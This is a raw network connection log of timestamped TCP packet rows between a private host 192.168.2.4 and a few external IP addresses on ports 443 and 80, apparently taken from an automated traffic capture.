Oct 29, 2024 04:17:36.482489109 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.482506990 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.482530117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.482530117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.482738018 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.482795000 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.482810974 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.482826948 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.482856989 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.482872963 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.483134985 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.483176947 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.483202934 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.483222008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.483259916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.483280897 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.483299971 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.483355999 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.483592987 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.483659983 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.528448105 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.528489113 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.528552055 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.528567076 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.528614998 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.528870106 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.528914928 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.528940916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.528959990 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.528987885 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.529251099 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.529288054 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.529341936 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.529341936 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.529360056 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.529546976 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.529592037 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.529611111 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.529624939 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.529664040 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.529683113 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.568368912 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.568408012 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.568464041 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.568479061 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.568506956 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.568543911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.569679976 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.569720984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.569775105 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.569775105 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.569791079 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.570200920 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.570245028 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.570260048 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.570287943 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.570328951 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.570352077 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.570489883 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.570530891 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.570545912 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.570560932 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.570595980 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.570615053 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.570879936 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.570919037 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.570934057 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.570947886 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.571001053 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.571001053 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.571407080 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.571449995 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.571481943 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.571495056 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.571520090 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.571540117 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.571901083 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.571943998 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.571960926 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.571974993 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.572001934 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.572017908 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.572371960 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.572438002 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.572451115 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.572474957 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.572511911 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.572540045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.572628021 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.572681904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.572702885 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.572715998 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.572758913 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.572788954 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.573051929 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.573092937 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.573138952 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.573151112 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.573203087 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.573203087 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.573457956 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.573533058 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.573551893 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.573565006 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.573596954 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.573616028 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.573775053 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.573817015 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.573860884 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.573879004 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.573900938 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.573926926 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.573998928 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.574047089 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.574064016 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.574083090 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.574105024 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.574127913 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.574129105 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.598360062 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.598426104 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.598577023 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.598597050 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.598978996 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.599026918 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.599050045 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.599064112 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.599098921 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.599114895 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.599605083 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.599642038 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.599680901 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.599699974 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.599721909 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.599756002 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.599781990 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.599824905 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.599848032 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.599859953 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.599890947 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.599890947 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.599910975 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.600564003 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.600603104 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.600644112 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.600661993 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.600684881 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.600740910 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.600756884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.600795984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.600836039 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.600852966 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.600877047 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.601145983 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.601255894 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.601298094 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.601342916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.601360083 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.601402044 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.601492882 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.642446041 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.642489910 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.642543077 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.642559052 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.642596006 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.642596006 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.646275997 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.646315098 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.646364927 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.646378040 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.646428108 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.646428108 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.646636963 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.646676064 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.646714926 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.646728039 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.646754026 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.646863937 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.647049904 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.647102118 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.647125006 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.647142887 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.647161007 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.647185087 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.685595989 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.685638905 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.685707092 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.685731888 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.685755014 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.687138081 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.687196016 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.687227964 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.687243938 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.687274933 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.687482119 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.687647104 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.687689066 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.687709093 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.687721014 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.687752008 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.687768936 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.688318968 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.688396931 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.688399076 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.688433886 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.688452005 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.688683033 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.688729048 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.688760996 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.688775063 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.688801050 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.688826084 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.688978910 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.689017057 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.689043999 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.689055920 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.689081907 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.689081907 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.689106941 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.689330101 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.689368963 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.689395905 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.689414978 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.689455032 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.689811945 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.689860106 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.689882040 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.689897060 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.689924955 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.689943075 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.690174103 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.690212965 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.690232992 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.690246105 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.690272093 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.690289974 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.690635920 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.690680027 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.690707922 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.690726042 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.690747976 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.690912008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.690958023 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.690975904 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.690992117 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.691016912 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.691047907 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.691190004 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.691234112 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.691256046 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.691273928 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.691303968 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.691339970 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.691381931 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.691442013 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.691452980 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.691490889 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.691521883 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.691544056 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.691554070 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.691679001 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:36.691732883 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.692493916 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:36.692524910 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:37.189894915 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:37.190150976 CET	49762	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:37.195430040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:37.195607901 CET	80	49762	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:37.195671082 CET	49762	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:37.196083069 CET	49762	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:37.201359987 CET	80	49762	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:39.773147106 CET	80	49762	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:39.773226976 CET	49762	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:41.218385935 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:41.218461037 CET	443	49763	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:41.218597889 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:41.218883038 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:41.218919992 CET	443	49763	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:42.338444948 CET	443	49763	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:42.338541031 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.352176905 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.352232933 CET	443	49763	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:42.352570057 CET	443	49763	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:42.352989912 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.353055000 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.353111029 CET	443	49763	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:42.769133091 CET	443	49763	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:42.864216089 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.864264965 CET	443	49763	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:42.867141008 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.867183924 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.867522955 CET	443	49763	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:42.867623091 CET	443	49763	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:42.867681026 CET	49763	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.929224014 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.929274082 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:42.929382086 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.929524899 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:42.929534912 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:44.030848980 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:44.031913996 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:44.031913996 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:44.031932116 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:44.031946898 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:44.032092094 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:44.032104969 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:44.894985914 CET	80	49762	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:44.895092010 CET	49762	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:46.752284050 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:46.752342939 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:46.752389908 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:46.752407074 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:46.752434969 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:46.752445936 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:46.752494097 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:46.752527952 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:46.752834082 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:46.752854109 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:46.752861977 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:46.753228903 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:46.753312111 CET	443	49764	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:46.753374100 CET	49764	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:46.812383890 CET	49765	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:46.812453032 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:46.813019991 CET	49765	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:46.813235998 CET	49765	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:46.813257933 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:47.936055899 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:47.936574936 CET	49765	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:47.936609983 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:47.937319040 CET	49765	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:47.937339067 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:47.937375069 CET	49765	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:47.937391996 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:48.668107033 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:48.668190002 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:48.668258905 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:48.668294907 CET	49765	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:48.668324947 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:48.668351889 CET	49765	443	192.168.2.4	40.126.32.133
